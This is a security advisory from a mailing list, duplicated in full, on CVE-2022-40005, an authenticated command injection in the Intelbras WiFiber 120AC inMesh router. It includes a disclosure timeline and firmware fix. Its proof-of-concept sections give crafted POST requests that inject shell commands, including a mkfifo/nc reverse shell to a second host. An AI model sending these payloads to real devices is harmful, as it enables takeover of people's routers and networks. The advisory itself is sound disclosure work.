Headline

CVE-2022-40005: Full Disclosure: Re: CyberDanube Security Research 20221009-0

Intelbras WiFiber 120AC inMesh before 1-1-220826 allows command injection by authenticated users, as demonstrated by the /boaform/formPing6 and /boaform/formTracert URIs for ping and traceroute.

1 year ago

CVE

Open in Source

#vulnerability #web #linux #intel #acer #auth #firefox #sap #wifi

Full Disclosure mailing list archives****Re: CyberDanube Security Research 20221009-0 | Authenticated Command Injection in Intelbras WiFiber 120AC inMesh

From: Thomas Weber <t.weber () cyberdanube com>
Date: Tue, 13 Dec 2022 17:59:41 +0100

CyberDanube Security Research 20221009-0

-------------------------------------------------------------------------------

           title| Authenticated Command Injection
         product| Intelbras WiFiber 120AC inMesh

-------------------------------------------------------------------------------

Vendor description

-------------------------------------------------------------------------------

"We are Intelbras. A company that for 45 years has been offering innovative

solutions in security, networks, communication and energy. Our dream began to come to life there in 1976, in the city of São José, having originated from an

INspiration and a promising idea: to manufacture PABX centrals. During the

80’s, we surprised the market with the launch of the first PABX developed with national technology, a product that showed everyone our innovative DNA. The 90s

were marked by the consolidation of the company in the telecommunications

segment and we became leaders in the PABX and telephone terminals segment. The

turn of the millennium represented the search for greater connection and

proximity to people, something that is in total harmony with our philosophy to this day. More consolidated in the market, in 2010 we opened 3 manufacturing

units, located in Santa Rita do Sapucaí/MG, Manaus/AM and São José/SC.

We reached our 45th birthday having reached a historic milestone: we have been a company listed on the B3 since February 2021. Our trajectory so far has been INnovative, INtelligent and INSpiring. We saw innovation, which is part of our

DNA, increasingly present in our daily lives. And it was only possible to

write a story so full of achievements because employees, partners and customers

were close and believed in us."

Source: https://www.intelbras.com/en/institutional/who-we-are

Vulnerable versions

-------------------------------------------------------------------------------

WiFiber 120AC inMesh / 1.1-220216

Vulnerability overview

-------------------------------------------------------------------------------

Authenticated Command Injection (CVE-2022-40005)

The web server of the device is prone to an authenticated command injection. It allows an attacker to gain full access to the underlying operating system of the device with all implications. If such a device is acting as key device in an industrial network, more extensive damage in the corresponding network can

be done by an attacker.

Proof of Concept

-------------------------------------------------------------------------------

Authenticated Command Injection (CVE-2022-40005) The web server is prone to an authenticated command injection via POST parameters. The following proof-of-concept shows how to inject the command “ls /” to the system which gets executed in the background:

===============================================================================

POST /boaform/formPing6 HTTP/1.1 Host: 192.168.3.147

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 87 Origin: http://192.168.3.147 Connection: close Referer: http://192.168.3.147/ping6.asp Upgrade-Insecure-Requests: 1

pingAddr=%3Bls+%2F%3B&wanif=65535&go=+Ir&submit-url=%2Fping6.asp&postSecurityFlag=39908 ===============================================================================

The following commands can be used to open a reverse shell:

“rm -f /tmp/f” “mkfifo /tmp/f” “cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.138 8889 >/tmp/f”

Those commands were sent via a crafted POST request:

===============================================================================

POST /boaform/formTracert HTTP/1.1 Host: 192.168.3.147

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 255 Origin: http://192.168.3.147 Connection: close Referer: http://192.168.3.147/tracert.asp Upgrade-Insecure-Requests: 1

proto=0&traceAddr=%3Brm±f+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh±i+2%3E%261%7Cnc+192.168.3.138+8889+%3E%2Ftmp%2Ff%3B&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Ir&submit-url=%2Ftracert.asp&postSecurityFlag=29290 ===============================================================================

The vulnerability was manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution

-------------------------------------------------------------------------------

Update to firmware version 1-1-220826.

https://backend.intelbras.com/sites/default/files/2022-08/ONT_Wifiber_120_AC_Vers%C3%A3o_1-1-220826.zip

Workaround

-------------------------------------------------------------------------------

None

Recommendation

-------------------------------------------------------------------------------

CyberDanube recommends Intelbras customers to upgrade the firmware to the latest version available.

Contact Timeline

-------------------------------------------------------------------------------

2022-08-02: Contacting Intelbras via suporte () intelbras com br. 2022-08-03: Request from Intelbras to send the advisory to csirt () intelbras com br; Sent the advisory to this address. 2022-08-30: Asked for status update; Vendor answered that the new firmware

        version has been released the day before. Set the disclosure date

        to 2022-10-03 (60 days policy).

2022-10-03: Shifted disclosure date to 2022-10-09 due to sick colleagues. 2022-10-09: Coordinated disclosure of advisory.

Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com

EOF T. Weber / @2022

On 09.10.22 17:21, Thomas Weber wrote:

CyberDanube Security Research 20221009-0

-------------------------------------------------------------------------------
           title| Authenticated Command Injection
         product| Intelbras WiFiber 120AC inMesh
vulnerable version| 1.1-220216 fixed version| 1-1-220826 CVE number| impact| High homepage| https://www.intelbras.com found| 2022-08-01 by| T. Weber (Office Vienna) | CyberDanube Security Research | Vienna | St. Pölten | | https://www.cyberdanube.com

-------------------------------------------------------------------------------

Vendor description

------------------------------------------------------------------------------- "We are Intelbras. A company that for 45 years has been offering innovative solutions in security, networks, communication and energy. Our dream began to come to life there in 1976, in the city of São José, having originated from an INspiration and a promising idea: to manufacture PABX centrals. During the 80’s, we surprised the market with the launch of the first PABX developed with national technology, a product that showed everyone our innovative DNA. The 90s

were marked by the consolidation of the company in the telecommunications

segment and we became leaders in the PABX and telephone terminals segment. The

turn of the millennium represented the search for greater connection and

proximity to people, something that is in total harmony with our philosophy to this day. More consolidated in the market, in 2010 we opened 3 manufacturing

units, located in Santa Rita do Sapucaí/MG, Manaus/AM and São José/SC.

We reached our 45th birthday having reached a historic milestone: we have been a company listed on the B3 since February 2021. Our trajectory so far has been INnovative, INtelligent and INSpiring. We saw innovation, which is part of our

DNA, increasingly present in our daily lives. And it was only possible to

write a story so full of achievements because employees, partners and customers

were close and believed in us."

Source: https://www.intelbras.com/en/institutional/who-we-are

Vulnerable versions

-------------------------------------------------------------------------------

WiFiber 120AC inMesh / 1.1-220216

Vulnerability overview

-------------------------------------------------------------------------------

Authenticated Command Injection

The web server of the device is prone to an authenticated command injection. It allows an attacker to gain full access to the underlying operating system of the device with all implications. If such a device is acting as key device in an industrial network, more extensive damage in the corresponding network can

be done by an attacker.

Proof of Concept

-------------------------------------------------------------------------------

Authenticated Command Injection The web server is prone to an authenticated command injection via POST

parameters. The following proof-of-concept shows how to inject the command

“ls /” to the system which gets executed in the background:

===============================================================================

POST /boaform/formPing6 HTTP/1.1 Host: 192.168.3.147

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 87 Origin: http://192.168.3.147 Connection: close Referer: http://192.168.3.147/ping6.asp Upgrade-Insecure-Requests: 1

pingAddr=%3Bls+%2F%3B&wanif=65535&go=+Ir&submit-url=%2Fping6.asp&postSecurityFlag=39908 ===============================================================================

The following commands can be used to open a reverse shell:

“rm -f /tmp/f” “mkfifo /tmp/f” “cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.138 8889 >/tmp/f”

Those commands were sent via a crafted POST request:

===============================================================================

POST /boaform/formTracert HTTP/1.1 Host: 192.168.3.147

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 255 Origin: http://192.168.3.147 Connection: close Referer: http://192.168.3.147/tracert.asp Upgrade-Insecure-Requests: 1

proto=0&traceAddr=%3Brm±f+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh±i+2%3E%261%7Cnc+192.168.3.138+8889+%3E%2Ftmp%2Ff%3B&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Ir&submit-url=%2Ftracert.asp&postSecurityFlag=29290 ===============================================================================

The vulnerability was manually verified on an emulated device by using the

MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution

-------------------------------------------------------------------------------

Update to firmware version 1-1-220826.

https://backend.intelbras.com/sites/default/files/2022-08/ONT_Wifiber_120_AC_Vers%C3%A3o_1-1-220826.zip

Workaround

-------------------------------------------------------------------------------

None

Recommendation

-------------------------------------------------------------------------------

CyberDanube recommends Intelbras customers to upgrade the firmware to the latest version available.

Contact Timeline

-------------------------------------------------------------------------------

2022-08-02: Contacting Intelbras via suporte () intelbras com br. 2022-08-03: Request from Intelbras to send the advisory to csirt () intelbras com br; Sent the advisory to this address.

2022-08-30: Asked for status update; Vendor answered that the new firmware version has been released the day before. Set the disclosure date
        to 2022-10-03 (60 days policy).
2022-10-03: Shifted disclosure date to 2022-10-09 due to sick colleagues. 2022-10-09: Coordinated disclosure of advisory.

Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com

EOF T. Weber / @2022

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